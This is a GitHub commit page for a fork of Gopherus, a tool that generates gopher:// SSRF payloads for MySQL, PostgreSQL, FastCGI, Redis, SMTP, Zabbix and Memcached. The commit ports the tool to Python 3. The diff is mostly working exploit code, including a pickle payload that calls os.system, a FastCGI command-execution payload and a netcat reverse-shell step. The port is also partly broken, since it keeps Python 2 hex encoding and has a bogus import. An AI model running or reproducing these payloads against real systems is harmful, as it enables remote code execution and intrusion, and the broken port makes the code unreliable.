Skip to content

Commit 4546f5f

Browse files
Antabuse-does-somethingAntabuse-does-something
Antabuse-does-something
authored and
Antabuse-does-something
committed
Updated python code
1 parent 9ca94b8 commit 4546f5f

17 files changed

+230
-214
lines changed

‎.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,2 @@
11
*.pyc
2+
__pycache__

‎README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
11
# Gopherus
22
If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF (Server Side Request Forgery) and gaining RCE (Remote Code Execution). And also it will help you to get the Reverse shell on the victim server. And for more
33
information you can get a blog on the same [Blog on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
4+
5+
## Note :
6+
7+
This repo is a fork from the Original Tool but I have updated the code from python2 to python3 and added a new feature to select the port for the reverse shell(Redis).
8+
49
## About
510
This tool can generate payload for following:
611
1. MySQL (Port-3306)

‎gopherus.py

Lines changed: 0 additions & 63 deletions
This file was deleted.

‎gopherus3.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#!/usr/bin/python
2+
import argparse
3+
from ast import match_case
4+
import sys
5+
sys.path.insert(0, './scripts/')
6+
from scripts import FastCGI, MySQL, PostgreSQL, DumpMemcached, PHPMemcached, PyMemcached, RbMemcached, Redis, SMTP, Zabbix
7+
8+
9+
class colors:
10+
reset='\033[0m'
11+
red='\033[31m'
12+
green='\033[32m'
13+
orange='\033[33m'
14+
blue='\033[34m'
15+
16+
17+
def main():
18+
parser = argparse.ArgumentParser()
19+
parser.add_argument("--exploit",
20+
help="mysql,\n"
21+
"postgresql,\n"
22+
"fastcgi,\n"
23+
"redis,\n"
24+
"smtp,\n"
25+
"zabbix,\n"
26+
"pymemcache,\n"
27+
"rbmemcache,\n"
28+
"phpmemcache,\n"
29+
"dmpmemcache")
30+
args = parser.parse_args()
31+
print(colors.green + """
32+
________ .__ ________
33+
/ _____/ ____ ______ | |__ ___________ __ __ ______ \_____ \
34+
/ \ ___ / _ \\\\____ \| | \_/ __ \_ __ \ | \/ ___/ _(__ <
35+
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\ / \\
36+
\______ /\____/| __/|___| /\___ >__| |____//____ > /______ /
37+
\/ |__| \/ \/ \/ \/
38+
"""+ "\n\t\t" + colors.blue + "author: " + colors.orange + "$_SpyD3r_$" + "\n" + colors.reset)
39+
40+
if(not args.exploit):
41+
print(parser.print_help())
42+
sys.exit(1)
43+
44+
if(args.exploit=="mysql"):
45+
MySQL.MySQL()
46+
elif(args.exploit=="postgresql"):
47+
PostgreSQL.PostgreSQL()
48+
elif(args.exploit=="fastcgi"):
49+
FastCGI.FastCGI()
50+
elif(args.exploit=="redis"):
51+
Redis.Redis()
52+
elif(args.exploit=="smtp"):
53+
SMTP.SMTP()
54+
elif(args.exploit=="zabbix"):
55+
Zabbix.Zabbix()
56+
elif(args.exploit=="dmpmemcache"):
57+
DumpMemcached.DumpMemcached()
58+
elif(args.exploit=="phpmemcache"):
59+
PHPMemcached.PHPMemcached()
60+
elif(args.exploit=="rbmemcache"):
61+
RbMemcached.RbMemcached()
62+
elif(args.exploit=="pymemcache"):
63+
PyMemcached.PyMemcached()
64+
else:
65+
print(parser.print_help())
66+
67+
if __name__ == "__main__":
68+
main()

‎install.sh

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/bash
2-
pip2 install argparse
3-
pip2 install requests
4-
chmod +x gopherus.py
5-
ln -sf $(pwd)/gopherus.py /usr/local/bin/gopherus
2+
pip3 install -r requirements.txt
3+
chmod +x gopherus3.py
4+
sudo ln -sf $(pwd)/gopherus3.py /usr/local/bin/gopherus3
5+
echo "Gopherus3 installed"

‎requirements.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
argparse
2+
requests

‎scripts/DumpMemcached.py

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
1-
import urllib
1+
import urllib.parse
22

33
def DumpMemcached():
4-
code = raw_input("\033[96m" +"Give payload you want to run in Memcached Server: "+ "\033[0m")
4+
code = input("\033[96m" +"Give payload you want to run in Memcached Server: "+ "\033[0m")
55

6-
payload = urllib.quote_plus(code).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
6+
payload = urllib.parse.quote_plus(code).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
77

88
finalpayload = "gopher://127.0.0.1:11211/_%0d%0a" + payload + "%0d%0a"
99

10-
print "\033[93m" +"\nYour gopher link is ready to dump Memcache : \n"+ "\033[0m"
11-
print finalpayload
12-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+ "\033[0m"
10+
print("\033[93m" +"\nYour gopher link is ready to dump Memcache : \n"+ "\033[0m")
11+
print(finalpayload)
12+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+ "\033[0m")

‎scripts/FastCGI.py

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
1-
import urllib
1+
import urllib.parse
22

33
def FastCGI():
4-
filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m")
4+
filename = input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m")
55

66
if(not filename):
77
filename="/usr/share/php/PEAR.php"
88

9-
command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m")
9+
command=input("\033[96m" +"Terminal command to run: "+ "\033[0m")
1010
length=len(command)+52
1111
char=chr(length)
1212

@@ -25,10 +25,11 @@ def FastCGI():
2525

2626
payload = start + data + end
2727

28-
def get_payload(payload):
29-
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/")
30-
return "gopher://127.0.0.1:9000/_" + finalpayload
28+
print("\033[93m" +"\nYour gopher link is ready to do SSRF: \n" + "\033[0m")
29+
print("\033[04m" + get_payload(payload)+ "\033[0m")
30+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m")
3131

32-
print "\033[93m" +"\nYour gopher link is ready to do SSRF: \n" + "\033[0m"
33-
print "\033[04m" + get_payload(payload)+ "\033[0m"
34-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
32+
33+
def get_payload(payload):
34+
finalpayload = urllib.parse.quote_plus(payload).replace("+","%20").replace("%2F","/")
35+
return "gopher://127.0.0.1:9000/_" + finalpayload

‎scripts/MySQL.py

Lines changed: 22 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
1-
21
def MySQL():
3-
print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
4-
user = raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
2+
print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m")
3+
user = input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
54
encode_user = user.encode("hex")
65
user_length = len(user)
76
temp = user_length - 4
@@ -13,26 +12,26 @@ def MySQL():
1312
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
1413
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
1514

16-
query = raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")
15+
query = input("\033[96m" +"Give query to execute: "+ "\033[0m")
1716

1817
auth = dump.replace("\n","")
1918

20-
def encode(s):
21-
a = [s[i:i + 2] for i in range(0, len(s), 2)]
22-
return "gopher://127.0.0.1:3306/_%" + "%".join(a)
23-
24-
25-
def get_payload(query):
26-
if(query.strip()!=''):
27-
query = query.encode("hex")
28-
query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
29-
query_length = query_length.decode('hex')[::-1].encode('hex')
30-
pay1 = query_length + "0003" + query
31-
final = encode(auth + pay1 + "0100000001")
32-
return final
33-
else:
34-
return encode(auth)
35-
36-
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
37-
print "\033[04m" + get_payload(query)+ "\033[0m"
38-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
19+
print("\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m")
20+
print("\033[04m" + get_payload(query,auth)+ "\033[0m")
21+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m")
22+
23+
24+
def encode(s):
25+
a = [s[i:i + 2] for i in range(0, len(s), 2)]
26+
return "gopher://127.0.0.1:3306/_%" + "%".join(a)
27+
28+
def get_payload(query,auth):
29+
if(query.strip()!=''):
30+
query = query.encode("hex")
31+
query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
32+
query_length = query_length.decode('hex')[::-1].encode('hex')
33+
pay1 = query_length + "0003" + query
34+
final = encode(auth + pay1 + "0100000001")
35+
return final
36+
else:
37+
return encode(auth)

‎scripts/PHPMemcached.py

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,20 @@
1-
import urllib
1+
import urllib.parse
22

33
def PHPMemcached():
4-
print "\033[01m" + "\nThis is usable when you know Class and Variable name used by user\n"+ "\033[0m"
4+
print("\033[01m" + "\nThis is usable when you know Class and Variable name used by user\n"+ "\033[0m")
55

6-
code = raw_input("\033[96m" +"Give serialization payload\nexample: O:5:\"Hello\":0:{} : "+ "\033[0m")
6+
code = input("\033[96m" +"Give serialization payload\nexample: O:5:\"Hello\":0:{} : "+ "\033[0m")
77

88
if(not code):
9-
print "\033[93m" + "Plz give payload" + "\033[0m"
9+
print("\033[93m" + "Plz give payload" + "\033[0m")
1010
exit()
1111

1212
payload = "%0d%0aset SpyD3r 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a"
1313

14-
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
14+
finalpayload = urllib.parse.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
1515

16-
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
17-
print "\033[04m" + "gopher://127.0.0.1:11211/_" + finalpayload + "\033[0m"
18-
print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m"
19-
print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m"
20-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
16+
print("\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m")
17+
print("\033[04m" + "gopher://127.0.0.1:11211/_" + finalpayload + "\033[0m")
18+
print("\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m")
19+
print("\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m")
20+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m")

‎scripts/PostgreSQL.py

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
def PostgreSQL():
2-
user = raw_input("\033[96m" + "PostgreSQL Username: " + "\033[0m")
3-
db = raw_input("\033[96m" + "Database Name: " + "\033[0m")
4-
query = raw_input("\033[96m" + "Query: " + "\033[0m")
2+
user = input("\033[96m" + "PostgreSQL Username: " + "\033[0m")
3+
db = input("\033[96m" + "Database Name: " + "\033[0m")
4+
query = input("\033[96m" + "Query: " + "\033[0m")
55

66
encode_user = user.encode("hex")
77
encode_db = db.encode("hex")
@@ -16,11 +16,13 @@ def PostgreSQL():
1616

1717
packet = start + data + end
1818

19-
def encode(s):
20-
a = [s[i:i + 2] for i in range(0, len(s), 2)]
21-
return "gopher://127.0.0.1:5432/_%" + "%".join(a)
2219

2320

24-
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
25-
print "\033[04m" + encode(packet) + "\033[0m"
26-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
21+
22+
print("\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m")
23+
print("\033[04m" + encode(packet) + "\033[0m")
24+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m")
25+
26+
def encode(s):
27+
a = [s[i:i + 2] for i in range(0, len(s), 2)]
28+
return "gopher://127.0.0.1:5432/_%" + "%".join(a)

‎scripts/PyMemcached.py

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
import cPickle
1+
import pickle
22
import os
3-
import urllib
3+
import urllib.parse
44

55
def PyMemcached():
6-
print "\033[01m" +"\nReady to Get Reverse SHELL\n"+ "\033[0m"
7-
server = raw_input("\033[96m" +"Give server IP you want to connect (default is 127.0.0.1): "+ "\033[0m")
6+
print("\033[01m" +"\nReady to Get Reverse SHELL\n"+ "\033[0m")
7+
server = input("\033[96m" +"Give server IP you want to connect (default is 127.0.0.1): "+ "\033[0m")
88

99
if(not server):
1010
server = "127.0.0.1"
@@ -16,18 +16,18 @@ def __reduce__(self):
1616
if(cmd):
1717
return (os.system,(cmd,))
1818

19-
command = (cPickle.dumps(PickleRCE()))
19+
command = (pickle.dumps(PickleRCE()))
2020

21-
def get_payload(command):
22-
payload = urllib.quote_plus(command).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
23-
finalpayload = "%0d%0aset%20SpyD3r%201%2060%20" + str(len(command)) + "%0d%0a" + payload + "%0d%0a"
24-
return finalpayload
21+
print("\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m")
22+
print("\033[04m" + "gopher://127.0.0.1:11211/_" + get_payload(command)+ "\033[0m")
2523

26-
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
27-
print "\033[04m" + "gopher://127.0.0.1:11211/_" + get_payload(command)+ "\033[0m"
24+
print("\033[01m" +"\nThen You can connect it with : nc " + server + " 1234"+ "\033[0m")
2825

29-
print "\033[01m" +"\nThen You can connect it with : nc " + server + " 1234"+ "\033[0m"
26+
print("\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m")
27+
print("\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m")
28+
print("\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m")
3029

31-
print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m"
32-
print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m"
33-
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
30+
def get_payload(command):
31+
payload = urllib.parse.quote_plus(command).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
32+
finalpayload = "%0d%0aset%20SpyD3r%201%2060%20" + str(len(command)) + "%0d%0a" + payload + "%0d%0a"
33+
return finalpayload

0 commit comments

Comments
 (0)